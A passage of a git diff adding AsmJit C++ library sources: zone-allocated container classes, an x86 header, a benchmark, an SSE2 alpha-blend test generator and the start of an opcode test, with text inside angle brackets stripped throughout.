sizeOfT, size_t n) noexcept; + ASMJIT_API Error _reserve(ZoneHeap* heap, size_t sizeOfT, size_t n) noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + +public: + void* _data; //!< Vector data. + size_t _length; //!< Length of the vector. + size_t _capacity; //!< Capacity of the vector. +}; + +// ============================================================================ +// [asmjit::ZoneVector] +// ============================================================================ + +//! Template used to store and manage array of Zone allocated data. +//! +//! This template has these advantages over other std::vector<>: +//! - Always non-copyable (designed to be non-copyable, we want it). +//! - No copy-on-write (some implementations of STL can use it). +//! - Optimized for working only with POD types. +//! - Uses ZoneHeap, thus small vectors are basically for free. +template +class ZoneVector : public ZoneVectorBase { +public: + ASMJIT_NONCOPYABLE(ZoneVector) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + //! Create a new instance of `ZoneVector`. + explicit ASMJIT_INLINE ZoneVector() noexcept : ZoneVectorBase() {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get data. + ASMJIT_INLINE T* getData() noexcept { return static_cast(_data); } + //! \overload + ASMJIT_INLINE const T* getData() const noexcept { return static_cast(_data); } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + //! Prepend `item` to the vector. + Error prepend(ZoneHeap* heap, const T& item) noexcept { + if (ASMJIT_UNLIKELY(_length == _capacity)) + ASMJIT_PROPAGATE(grow(heap, 1)); + + ::memmove(static_cast(_data) + 1, _data, _length * sizeof(T)); + ::memcpy(_data, &item, sizeof(T)); + + _length++; + return kErrorOk; + } + + //! Insert an `item` at the specified `index`. + Error insert(ZoneHeap* heap, size_t index, const T& item) noexcept { + ASMJIT_ASSERT(index <= _length); + + if (ASMJIT_UNLIKELY(_length == _capacity)) + ASMJIT_PROPAGATE(grow(heap, 1)); + + T* dst = static_cast(_data) + index; + ::memmove(dst + 1, dst, _length - index); + ::memcpy(dst, &item, sizeof(T)); + + _length++; + return kErrorOk; + } + + //! Append `item` to the vector. + Error append(ZoneHeap* heap, const T& item) noexcept { + if (ASMJIT_UNLIKELY(_length == _capacity)) + ASMJIT_PROPAGATE(grow(heap, 1)); + + ::memcpy(static_cast(_data) + _length, &item, sizeof(T)); + + _length++; + return kErrorOk; + } + + Error concat(ZoneHeap* heap, const ZoneVector& other) noexcept { + size_t count = other._length; + if (_capacity - _length < count) + ASMJIT_PROPAGATE(grow(heap, count)); + + ::memcpy(static_cast(_data) + _length, other._data, count * sizeof(T)); + + _length += count; + return kErrorOk; + } + + //! Prepend `item` to the vector (unsafe case). + //! + //! Can only be used together with `willGrow()`. If `willGrow(N)` returns + //! `kErrorOk` then N elements can be added to the vector without checking + //! if there is a place for them. Used mostly internally. + ASMJIT_INLINE void prependUnsafe(const T& item) noexcept { + ASMJIT_ASSERT(_length < _capacity); + T* data = static_cast(_data); + + if (_length) + ::memmove(data + 1, data, _length * sizeof(T)); + + ::memcpy(data, &item, sizeof(T)); + _length++; + } + + //! Append `item` to the vector (unsafe case). + //! + //! Can only be used together with `willGrow()`. If `willGrow(N)` returns + //! `kErrorOk` then N elements can be added to the vector without checking + //! if there is a place for them. Used mostly internally. + ASMJIT_INLINE void appendUnsafe(const T& item) noexcept { + ASMJIT_ASSERT(_length < _capacity); + + ::memcpy(static_cast(_data) + _length, &item, sizeof(T)); + _length++; + } + + //! Concatenate all items of `other` at the end of the vector. + ASMJIT_INLINE void concatUnsafe(const ZoneVector& other) noexcept { + size_t count = other._length; + ASMJIT_ASSERT(_capacity - _length >= count); + + ::memcpy(static_cast(_data) + _length, other._data, count * sizeof(T)); + _length += count; + } + + //! Get index of `val` or `kInvalidIndex` if not found. + ASMJIT_INLINE size_t indexOf(const T& val) const noexcept { + const T* data = static_cast(_data); + size_t length = _length; + + for (size_t i = 0; i < length; i++) + if (data[i] == val) + return i; + + return Globals::kInvalidIndex; + } + + //! Get whether the vector contains `val`. + ASMJIT_INLINE bool contains(const T& val) const noexcept { + return indexOf(val) != Globals::kInvalidIndex; + } + + //! Remove item at index `i`. + ASMJIT_INLINE void removeAt(size_t i) noexcept { + ASMJIT_ASSERT(i < _length); + + T* data = static_cast(_data) + i; + _length--; + ::memmove(data, data + 1, _length - i); + } + + //! Swap this pod-vector with `other`. + ASMJIT_INLINE void swap(ZoneVector& other) noexcept { + Utils::swap(_length, other._length); + Utils::swap(_capacity, other._capacity); + Utils::swap(_data, other._data); + } + + //! Get item at index `i` (const). + ASMJIT_INLINE const T& getAt(size_t i) const noexcept { + ASMJIT_ASSERT(i < _length); + return getData()[i]; + } + + //! Get item at index `i`. + ASMJIT_INLINE T& operator[](size_t i) noexcept { + ASMJIT_ASSERT(i < _length); + return getData()[i]; + } + + //! Get item at index `i`. + ASMJIT_INLINE const T& operator[](size_t i) const noexcept { + ASMJIT_ASSERT(i < _length); + return getData()[i]; + } + + // -------------------------------------------------------------------------- + // [Memory Management] + // -------------------------------------------------------------------------- + + //! Release the memory held by `ZoneVector` back to the `heap`. + ASMJIT_INLINE void release(ZoneHeap* heap) noexcept { _release(heap, sizeof(T)); } + + //! Called to grow the buffer to fit at least `n` elements more. + ASMJIT_INLINE Error grow(ZoneHeap* heap, size_t n) noexcept { return ZoneVectorBase::_grow(heap, sizeof(T), n); } + + //! Resize the vector to hold `n` elements. + //! + //! If `n` is greater than the current length then the additional elements' + //! content will be initialized to zero. If `n` is less than the current + //! length then the vector will be truncated to exactly `n` elements. + ASMJIT_INLINE Error resize(ZoneHeap* heap, size_t n) noexcept { return ZoneVectorBase::_resize(heap, sizeof(T), n); } + + //! Realloc internal array to fit at least `n` items. + ASMJIT_INLINE Error reserve(ZoneHeap* heap, size_t n) noexcept { return ZoneVectorBase::_reserve(heap, sizeof(T), n); } + + ASMJIT_INLINE Error willGrow(ZoneHeap* heap, size_t n = 1) noexcept { + return _capacity - _length < n ? grow(heap, n) : static_cast(kErrorOk); + } +}; + +// ============================================================================ +// [asmjit::ZoneBitVector] +// ============================================================================ + +class ZoneBitVector { +public: + ASMJIT_NONCOPYABLE(ZoneBitVector) + + //! Storage used to store a pack of bits (should by compatible with a machine word). + typedef uintptr_t BitWord; + enum { kBitsPerWord = static_cast(sizeof(BitWord)) * 8 }; + + static ASMJIT_INLINE size_t _wordsPerBits(size_t nBits) noexcept { + return ((nBits + kBitsPerWord) / kBitsPerWord) - 1; + } + + // Return all bits zero if 0 and all bits set if 1. + static ASMJIT_INLINE BitWord _patternFromBit(bool bit) noexcept { + BitWord bitAsWord = static_cast(bit); + ASMJIT_ASSERT(bitAsWord == 0 || bitAsWord == 1); + return static_cast(0) - bitAsWord; + } + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + explicit ASMJIT_INLINE ZoneBitVector() noexcept : + _data(nullptr), + _length(0), + _capacity(0) {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get if the bit-vector is empty (has no bits). + ASMJIT_INLINE bool isEmpty() const noexcept { return _length == 0; } + //! Get a length of this bit-vector (in bits). + ASMJIT_INLINE size_t getLength() const noexcept { return _length; } + //! Get a capacity of this bit-vector (in bits). + ASMJIT_INLINE size_t getCapacity() const noexcept { return _capacity; } + + //! Get data. + ASMJIT_INLINE BitWord* getData() noexcept { return _data; } + //! \overload + ASMJIT_INLINE const BitWord* getData() const noexcept { return _data; } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void clear() noexcept { + _length = 0; + } + + ASMJIT_INLINE void reset() noexcept { + _data = nullptr; + _length = 0; + _capacity = 0; + } + + ASMJIT_INLINE void truncate(size_t newLength) noexcept { + _length = std::min(_length, newLength); + _clearUnusedBits(); + } + + ASMJIT_INLINE bool getAt(size_t index) const noexcept { + ASMJIT_ASSERT(index < _length); + + size_t idx = index / kBitsPerWord; + size_t bit = index % kBitsPerWord; + return static_cast((_data[idx] >> bit) & 1); + } + + ASMJIT_INLINE void setAt(size_t index, bool value) noexcept { + ASMJIT_ASSERT(index < _length); + + size_t idx = index / kBitsPerWord; + size_t bit = index % kBitsPerWord; + if (value) + _data[idx] |= static_cast(1) << bit; + else + _data[idx] &= ~(static_cast(1) << bit); + } + + ASMJIT_INLINE void toggleAt(size_t index) noexcept { + ASMJIT_ASSERT(index < _length); + + size_t idx = index / kBitsPerWord; + size_t bit = index % kBitsPerWord; + _data[idx] ^= static_cast(1) << bit; + } + + ASMJIT_INLINE Error append(ZoneHeap* heap, bool value) noexcept { + size_t index = _length; + if (ASMJIT_UNLIKELY(index >= _capacity)) + return _append(heap, value); + + size_t idx = index / kBitsPerWord; + size_t bit = index % kBitsPerWord; + + if (bit == 0) + _data[idx] = static_cast(value) << bit; + else + _data[idx] |= static_cast(value) << bit; + + _length++; + return kErrorOk; + } + + ASMJIT_API Error fill(size_t fromIndex, size_t toIndex, bool value) noexcept; + + ASMJIT_INLINE void and_(const ZoneBitVector& other) noexcept { + BitWord* dst = _data; + const BitWord* src = other._data; + + size_t numWords = (std::min(_length, other._length) + kBitsPerWord - 1) / kBitsPerWord; + for (size_t i = 0; i < numWords; i++) + dst[i] = dst[i] & src[i]; + _clearUnusedBits(); + } + + ASMJIT_INLINE void andNot(const ZoneBitVector& other) noexcept { + BitWord* dst = _data; + const BitWord* src = other._data; + + size_t numWords = (std::min(_length, other._length) + kBitsPerWord - 1) / kBitsPerWord; + for (size_t i = 0; i < numWords; i++) + dst[i] = dst[i] & ~src[i]; + _clearUnusedBits(); + } + + ASMJIT_INLINE void or_(const ZoneBitVector& other) noexcept { + BitWord* dst = _data; + const BitWord* src = other._data; + + size_t numWords = (std::min(_length, other._length) + kBitsPerWord - 1) / kBitsPerWord; + for (size_t i = 0; i < numWords; i++) + dst[i] = dst[i] | src[i]; + _clearUnusedBits(); + } + + ASMJIT_INLINE void _clearUnusedBits() noexcept { + size_t idx = _length / kBitsPerWord; + size_t bit = _length % kBitsPerWord; + + if (!bit) return; + _data[idx] &= (static_cast(1) << bit) - 1U; + } + + // -------------------------------------------------------------------------- + // [Memory Management] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE void release(ZoneHeap* heap) noexcept { + if (_data != nullptr) { + heap->release(_data, _capacity / 8); + reset(); + } + } + + ASMJIT_INLINE Error resize(ZoneHeap* heap, size_t newLength, bool newBitsValue = false) noexcept { + return _resize(heap, newLength, newLength, newBitsValue); + } + + ASMJIT_API Error _resize(ZoneHeap* heap, size_t newLength, size_t idealCapacity, bool newBitsValue) noexcept; + ASMJIT_API Error _append(ZoneHeap* heap, bool value) noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + BitWord* _data; //!< Bits. + size_t _length; //!< Length of the bit-vector (in bits). + size_t _capacity; //!< Capacity of the bit-vector (in bits). +}; + +// ============================================================================ +// [asmjit::ZoneStackBase] +// ============================================================================ + +class ZoneStackBase { +public: + enum Side { + kSideLeft = 0, + kSideRight = 1 + }; + + enum { + kBlockSize = ZoneHeap::kHiMaxSize + }; + + struct Block { + ASMJIT_INLINE Block* getPrev() const noexcept { return _link[kSideLeft]; } + ASMJIT_INLINE void setPrev(Block* block) noexcept { _link[kSideLeft] = block; } + + ASMJIT_INLINE Block* getNext() const noexcept { return _link[kSideRight]; } + ASMJIT_INLINE void setNext(Block* block) noexcept { _link[kSideRight] = block; } + + template + ASMJIT_INLINE T* getStart() const noexcept { return static_cast(_start); } + template + ASMJIT_INLINE void setStart(T* start) noexcept { _start = static_cast(start); } + + template + ASMJIT_INLINE T* getEnd() const noexcept { return static_cast(_end); } + template + ASMJIT_INLINE void setEnd(T* end) noexcept { _end = static_cast(end); } + + ASMJIT_INLINE bool isEmpty() const noexcept { return _start == _end; } + + template + ASMJIT_INLINE T* getData() const noexcept { + return static_cast(static_cast((uint8_t*)this + sizeof(Block))); + } + + template + ASMJIT_INLINE bool canPrepend() const noexcept { + return _start > getData(); + } + + template + ASMJIT_INLINE bool canAppend() const noexcept { + size_t kNumBlockItems = (kBlockSize - sizeof(Block)) / sizeof(T); + size_t kBlockEnd = sizeof(Block) + kNumBlockItems * sizeof(T); + return (uintptr_t)_end - (uintptr_t)this < kBlockEnd; + } + + Block* _link[2]; //!< Next and previous blocks. + void* _start; //!< Pointer to the start of the array. + void* _end; //!< Pointer to the end of the array. + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE ZoneStackBase() noexcept { + _heap = nullptr; + _block[0] = nullptr; + _block[1] = nullptr; + } + ASMJIT_INLINE ~ZoneStackBase() noexcept { reset(); } + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isInitialized() const noexcept { return _heap != nullptr; } + ASMJIT_API Error _init(ZoneHeap* heap, size_t middleIndex) noexcept; + ASMJIT_INLINE Error reset() noexcept { return _init(nullptr, 0); } + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get a `ZoneHeap` attached to this container. + ASMJIT_INLINE ZoneHeap* getHeap() const noexcept { return _heap; } + + ASMJIT_INLINE bool isEmpty() const noexcept { + ASMJIT_ASSERT(isInitialized()); + return _block[0] == _block[1] && _block[0]->isEmpty(); + } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + ASMJIT_API Error _prepareBlock(uint32_t side, size_t initialIndex) noexcept; + ASMJIT_API void _cleanupBlock(uint32_t side, size_t middleIndex) noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + ZoneHeap* _heap; //!< ZoneHeap used to allocate data. + Block* _block[2]; //!< First and last blocks. +}; + +// ============================================================================ +// [asmjit::ZoneStack] +// ============================================================================ + +template +class ZoneStack : public ZoneStackBase { +public: + enum { + kNumBlockItems = static_cast((kBlockSize - sizeof(Block)) / sizeof(T)), + kStartBlockIndex = static_cast(sizeof(Block)), + kMidBlockIndex = static_cast(kStartBlockIndex + (kNumBlockItems / 2) * sizeof(T)), + kEndBlockIndex = static_cast(kStartBlockIndex + kNumBlockItems * sizeof(T)) + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE ZoneStack() noexcept {} + ASMJIT_INLINE ~ZoneStack() noexcept {} + + // -------------------------------------------------------------------------- + // [Init / Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Error init(ZoneHeap* heap) noexcept { return _init(heap, kMidBlockIndex); } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE Error prepend(T item) noexcept { + ASMJIT_ASSERT(isInitialized()); + Block* block = _block[kSideLeft]; + + if (!block->canPrepend()) { + ASMJIT_PROPAGATE(_prepareBlock(kSideLeft, kEndBlockIndex)); + block = _block[kSideLeft]; + } + + T* ptr = block->getStart() - 1; + ASMJIT_ASSERT(ptr >= block->getData() && ptr < block->getData() + kNumBlockItems); + *ptr = item; + block->setStart(ptr); + return kErrorOk; + } + + ASMJIT_INLINE Error append(T item) noexcept { + ASMJIT_ASSERT(isInitialized()); + Block* block = _block[kSideRight]; + + if (!block->canAppend()) { + ASMJIT_PROPAGATE(_prepareBlock(kSideRight, kStartBlockIndex)); + block = _block[kSideRight]; + } + + T* ptr = block->getEnd(); + ASMJIT_ASSERT(ptr >= block->getData() && ptr < block->getData() + kNumBlockItems); + + *ptr++ = item; + block->setEnd(ptr); + return kErrorOk; + } + + ASMJIT_INLINE T popFirst() noexcept { + ASMJIT_ASSERT(isInitialized()); + ASMJIT_ASSERT(!isEmpty()); + + Block* block = _block[kSideLeft]; + ASMJIT_ASSERT(!block->isEmpty()); + + T* ptr = block->getStart(); + T item = *ptr++; + + block->setStart(ptr); + if (block->isEmpty()) + _cleanupBlock(kSideLeft, kMidBlockIndex); + + return item; + } + + ASMJIT_INLINE T pop() noexcept { + ASMJIT_ASSERT(isInitialized()); + ASMJIT_ASSERT(!isEmpty()); + + Block* block = _block[kSideRight]; + ASMJIT_ASSERT(!block->isEmpty()); + + T* ptr = block->getEnd(); + T item = *--ptr; + + block->setEnd(ptr); + if (block->isEmpty()) + _cleanupBlock(kSideRight, kMidBlockIndex); + + return item; + } +}; + +// ============================================================================ +// [asmjit::ZoneHashNode] +// ============================================================================ + +//! Node used by \ref ZoneHash<> template. +//! +//! You must provide function `bool eq(const Key& key)` in order to make +//! `ZoneHash::get()` working. +class ZoneHashNode { +public: + ASMJIT_INLINE ZoneHashNode(uint32_t hVal = 0) noexcept + : _hashNext(nullptr), + _hVal(hVal) {} + + //! Next node in the chain, null if it terminates the chain. + ZoneHashNode* _hashNext; + //! Key hash. + uint32_t _hVal; + //! Should be used by Node that inherits ZoneHashNode, it aligns ZoneHashNode. + uint32_t _customData; +}; + +// ============================================================================ +// [asmjit::ZoneHashBase] +// ============================================================================ + +class ZoneHashBase { +public: + ASMJIT_NONCOPYABLE(ZoneHashBase) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE ZoneHashBase(ZoneHeap* heap) noexcept { + _heap = heap; + _size = 0; + _bucketsCount = 1; + _bucketsGrow = 1; + _data = _embedded; + _embedded[0] = nullptr; + } + ASMJIT_INLINE ~ZoneHashBase() noexcept { reset(nullptr); } + + // -------------------------------------------------------------------------- + // [Reset] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool isInitialized() const noexcept { return _heap != nullptr; } + ASMJIT_API void reset(ZoneHeap* heap) noexcept; + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get a `ZoneHeap` attached to this container. + ASMJIT_INLINE ZoneHeap* getHeap() const noexcept { return _heap; } + + ASMJIT_INLINE size_t getSize() const noexcept { return _size; } + + // -------------------------------------------------------------------------- + // [Ops] + // -------------------------------------------------------------------------- + + ASMJIT_API void _rehash(uint32_t newCount) noexcept; + ASMJIT_API ZoneHashNode* _put(ZoneHashNode* node) noexcept; + ASMJIT_API ZoneHashNode* _del(ZoneHashNode* node) noexcept; + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + ZoneHeap* _heap; //!< ZoneHeap used to allocate data. + size_t _size; //!< Count of records inserted into the hash table. + uint32_t _bucketsCount; //!< Count of hash buckets. + uint32_t _bucketsGrow; //!< When buckets array should grow. + + ZoneHashNode** _data; //!< Buckets data. + ZoneHashNode* _embedded[1]; //!< Embedded data, used by empty hash tables. +}; + +// ============================================================================ +// [asmjit::ZoneHash] +// ============================================================================ + +//! Low-level hash table specialized for storing string keys and POD values. +//! +//! This hash table allows duplicates to be inserted (the API is so low +//! level that it's up to you if you allow it or not, as you should first +//! `get()` the node and then modify it or insert a new node by using `put()`, +//! depending on the intention). +template +class ZoneHash : public ZoneHashBase { +public: + explicit ASMJIT_INLINE ZoneHash(ZoneHeap* heap = nullptr) noexcept + : ZoneHashBase(heap) {} + ASMJIT_INLINE ~ZoneHash() noexcept {} + + template + ASMJIT_INLINE Node* get(const Key& key) const noexcept { + uint32_t hMod = key.hVal % _bucketsCount; + Node* node = static_cast(_data[hMod]); + + while (node && !key.matches(node)) + node = static_cast(node->_hashNext); + return node; + } + + ASMJIT_INLINE Node* put(Node* node) noexcept { return static_cast(_put(node)); } + ASMJIT_INLINE Node* del(Node* node) noexcept { return static_cast(_del(node)); } +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_ZONE_H diff --git a/asmjit/src/asmjit/x86.h b/asmjit/src/asmjit/x86.h new file mode 100644 index 0000000..e850534 --- /dev/null +++ b/asmjit/src/asmjit/x86.h @@ -0,0 +1,23 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_X86_H +#define _ASMJIT_X86_H + +// [Dependencies] +#include "./base.h" + +#include "./x86/x86assembler.h" +#include "./x86/x86builder.h" +#include "./x86/x86compiler.h" +#include "./x86/x86emitter.h" +#include "./x86/x86inst.h" +#include "./x86/x86misc.h" +#include "./x86/x86operand.h" + +// [Guard] +#endif // _ASMJIT_X86_H diff --git a/asmjit/test/asmjit.h b/asmjit/test/asmjit.h new file mode 100644 index 0000000..36a7588 --- /dev/null +++ b/asmjit/test/asmjit.h @@ -0,0 +1 @@ +#include "../src/asmjit/asmjit.h" diff --git a/asmjit/test/asmjit_bench_x86.cpp b/asmjit/test/asmjit_bench_x86.cpp new file mode 100644 index 0000000..6f52e8e --- /dev/null +++ b/asmjit/test/asmjit_bench_x86.cpp @@ -0,0 +1,146 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Dependencies] +#include +#include +#include + +#include "./asmjit.h" +#include "./asmjit_test_misc.h" +#include "./asmjit_test_opcode.h" + +using namespace asmjit; + +// ============================================================================ +// [Configuration] +// ============================================================================ + +static const uint32_t kNumRepeats = 10; +static const uint32_t kNumIterations = 5000; + +// ============================================================================ +// [Performance] +// ============================================================================ + +struct Performance { + static inline uint32_t now() { + return OSUtils::getTickCount(); + } + + inline void reset() { + tick = 0; + best = 0xFFFFFFFF; + } + + inline uint32_t start() { return (tick = now()); } + inline uint32_t diff() const { return now() - tick; } + + inline uint32_t end() { + tick = diff(); + if (best > tick) + best = tick; + return tick; + } + + uint32_t tick; + uint32_t best; +}; + +static double mbps(uint32_t time, size_t outputSize) { + if (!time) return 0.0; + + double bytesTotal = static_cast(outputSize); + return (bytesTotal * 1000) / (static_cast(time) * 1024 * 1024); +} + +// ============================================================================ +// [Main] +// ============================================================================ + +#if defined(ASMJIT_BUILD_X86) +static void benchX86(uint32_t archType) { + CodeHolder code; + Performance perf; + + X86Assembler a; + X86Compiler cc; + + uint32_t r, i; + const char* archName = archType == ArchInfo::kTypeX86 ? "X86" : "X64"; + + // -------------------------------------------------------------------------- + // [Bench - Assembler] + // -------------------------------------------------------------------------- + + size_t asmOutputSize = 0; + size_t cmpOutputSize = 0; + + perf.reset(); + for (r = 0; r < kNumRepeats; r++) { + asmOutputSize = 0; + perf.start(); + for (i = 0; i < kNumIterations; i++) { + code.init(CodeInfo(archType)); + code.attach(&a); + + asmtest::generateOpcodes(a); + asmOutputSize += code.getCodeSize(); + + code.reset(false); // Detaches `a`. + } + perf.end(); + } + + printf("%-12s (%s) | Time: %-6u [ms] | Speed: %7.3f [MB/s]\n", + "X86Assembler", archName, perf.best, mbps(perf.best, asmOutputSize)); + + // -------------------------------------------------------------------------- + // [Bench - CodeBuilder] + // -------------------------------------------------------------------------- + + // TODO: + + // -------------------------------------------------------------------------- + // [Bench - CodeCompiler] + // -------------------------------------------------------------------------- + + perf.reset(); + for (r = 0; r < kNumRepeats; r++) { + cmpOutputSize = 0; + perf.start(); + for (i = 0; i < kNumIterations; i++) { + // NOTE: Since we don't have JitRuntime we don't know anything about + // function calling conventions, which is required by generateAlphaBlend. + // So we must setup this manually. + CodeInfo ci(archType); + ci.setCdeclCallConv(archType == ArchInfo::kTypeX86 ? CallConv::kIdX86CDecl : CallConv::kIdX86SysV64); + + code.init(ci); + code.attach(&cc); + + asmtest::generateAlphaBlend(cc); + cc.finalize(); + cmpOutputSize += code.getCodeSize(); + + code.reset(false); // Detaches `cc`. + } + perf.end(); + } + + printf("%-12s (%s) | Time: %-6u [ms] | Speed: %7.3f [MB/s]\n", + "X86Compiler", archName, perf.best, mbps(perf.best, cmpOutputSize)); +} +#endif + +int main(int argc, char* argv[]) { +#if defined(ASMJIT_BUILD_X86) + benchX86(ArchInfo::kTypeX86); + benchX86(ArchInfo::kTypeX64); +#endif // ASMJIT_BUILD_X86 + + return 0; +} diff --git a/asmjit/test/asmjit_test_misc.h b/asmjit/test/asmjit_test_misc.h new file mode 100644 index 0000000..b460b50 --- /dev/null +++ b/asmjit/test/asmjit_test_misc.h @@ -0,0 +1,176 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_TEST_MISC_H +#define _ASMJIT_TEST_MISC_H + +// [Dependencies] +#include "./asmjit.h" + +namespace asmtest { + +// Generate a typical alpha blend function using SSE2 instruction set. Used +// for benchmarking and also in test86. The generated code should be stable +// and fully functional. +static void generateAlphaBlend(asmjit::X86Compiler& cc) { + using namespace asmjit; + using namespace asmjit::x86; + + X86Gp dst = cc.newIntPtr("dst"); + X86Gp src = cc.newIntPtr("src"); + + X86Gp i = cc.newIntPtr("i"); + X86Gp j = cc.newIntPtr("j"); + X86Gp t = cc.newIntPtr("t"); + + X86Xmm x0 = cc.newXmm("x0"); + X86Xmm x1 = cc.newXmm("x1"); + X86Xmm y0 = cc.newXmm("y0"); + X86Xmm a0 = cc.newXmm("a0"); + X86Xmm a1 = cc.newXmm("a1"); + + X86Xmm cZero = cc.newXmm("cZero"); + X86Xmm cMul255A = cc.newXmm("cMul255A"); + X86Xmm cMul255M = cc.newXmm("cMul255M"); + + Label L_SmallLoop = cc.newLabel(); + Label L_SmallEnd = cc.newLabel(); + Label L_LargeLoop = cc.newLabel(); + Label L_LargeEnd = cc.newLabel(); + Label L_DataPool = cc.newLabel(); + + cc.addFunc(FuncSignature3(cc.getCodeInfo().getCdeclCallConv())); + + cc.setArg(0, dst); + cc.setArg(1, src); + cc.setArg(2, i); + + cc.alloc(dst); + cc.alloc(src); + cc.alloc(i); + + // How many pixels have to be processed to make the loop aligned. + cc.lea(t, ptr(L_DataPool)); + cc.xor_(j, j); + cc.xorps(cZero, cZero); + + cc.sub(j, dst); + cc.movaps(cMul255A, ptr(t, 0)); + + cc.and_(j, 15); + cc.movaps(cMul255M, ptr(t, 16)); + + cc.shr(j, 2); + cc.jz(L_SmallEnd); + + // j = min(i, j). + cc.cmp(j, i); + cc.cmovg(j, i); + + // i -= j. + cc.sub(i, j); + + // Small loop. + cc.bind(L_SmallLoop); + + cc.pcmpeqb(a0, a0); + cc.movd(y0, ptr(src)); + + cc.pxor(a0, y0); + cc.movd(x0, ptr(dst)); + + cc.psrlw(a0, 8); + cc.punpcklbw(x0, cZero); + + cc.pshuflw(a0, a0, x86::shufImm(1, 1, 1, 1)); + cc.punpcklbw(y0, cZero); + + cc.pmullw(x0, a0); + cc.paddsw(x0, cMul255A); + cc.pmulhuw(x0, cMul255M); + + cc.paddw(x0, y0); + cc.packuswb(x0, x0); + + cc.movd(ptr(dst), x0); + + cc.add(dst, 4); + cc.add(src, 4); + + cc.dec(j); + cc.jnz(L_SmallLoop); + + // Second section, prepare for an aligned loop. + cc.bind(L_SmallEnd); + + cc.test(i, i); + cc.mov(j, i); + cc.jz(cc.getFunc()->getExitLabel()); + + cc.and_(j, 3); + cc.shr(i, 2); + cc.jz(L_LargeEnd); + + // Aligned loop. + cc.bind(L_LargeLoop); + + cc.movups(y0, ptr(src)); + cc.pcmpeqb(a0, a0); + cc.movaps(x0, ptr(dst)); + + cc.xorps(a0, y0); + cc.movaps(x1, x0); + + cc.psrlw(a0, 8); + cc.punpcklbw(x0, cZero); + + cc.movaps(a1, a0); + cc.punpcklwd(a0, a0); + + cc.punpckhbw(x1, cZero); + cc.punpckhwd(a1, a1); + + cc.pshufd(a0, a0, x86::shufImm(3, 3, 1, 1)); + cc.pshufd(a1, a1, x86::shufImm(3, 3, 1, 1)); + + cc.pmullw(x0, a0); + cc.pmullw(x1, a1); + + cc.paddsw(x0, cMul255A); + cc.paddsw(x1, cMul255A); + + cc.pmulhuw(x0, cMul255M); + cc.pmulhuw(x1, cMul255M); + + cc.add(src, 16); + cc.packuswb(x0, x1); + + cc.paddw(x0, y0); + cc.movaps(ptr(dst), x0); + + cc.add(dst, 16); + + cc.dec(i); + cc.jnz(L_LargeLoop); + + cc.bind(L_LargeEnd); + cc.test(j, j); + cc.jnz(L_SmallLoop); + + cc.endFunc(); + + // Data. + cc.align(kAlignData, 16); + cc.bind(L_DataPool); + cc.dxmm(Data128::fromI16(0x0080)); + cc.dxmm(Data128::fromI16(0x0101)); +} + +} // asmtest namespace + +// [Guard] +#endif // _ASMJIT_TEST_MISC_H diff --git a/asmjit/test/asmjit_test_opcode.cpp b/asmjit/test/asmjit_test_opcode.cpp new file mode 100644 index 0000000..86cfba1 --- /dev/null +++ b/asmjit/test/asmjit_test_opcode.cpp @@ -0,0 +1,92 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// This file is used to test opcodes generated by AsmJit. Output can be +// disassembled in your IDE or by your favorite disassembler. Instructions +// are grouped by category and then sorted alphabetically. + +// [Dependencies] +#include +#include +#include + +#include "./asmjit.h" +#include "./asmjit_test_opcode.h" + +using namespace asmjit; + +struct OpcodeDumpInfo { + uint32_t archType; + bool useRex1; + bool useRex2; +}; + +static const char* archTypeToString(uint32_t archType) { + switch (archType) { + case ArchInfo::kTypeNone : return "None"; + case ArchInfo::kTypeX86 : return "X86"; + case ArchInfo::kTypeX64 : return "X64"; + case ArchInfo::kTypeA32 : return "A32"; + case ArchInfo::kTypeA64 : return "A64"; + + default: + return ""; + } +} + +struct TestErrorHandler : public ErrorHandler { + virtual bool handleError(Error err, const char* message, CodeEmitter* origin) { + printf("ERROR 0x%08X: %s\n", err, message); + return true; + } +}; + +typedef void (*VoidFunc)(void); + +int main(int argc, char* argv[]) { + TestErrorHandler eh; + + OpcodeDumpInfo infoList[] = { + { ArchInfo::kTypeX86, false, false }, + { ArchInfo::kTypeX64, false, false }, + { ArchInfo::kTypeX64, false, 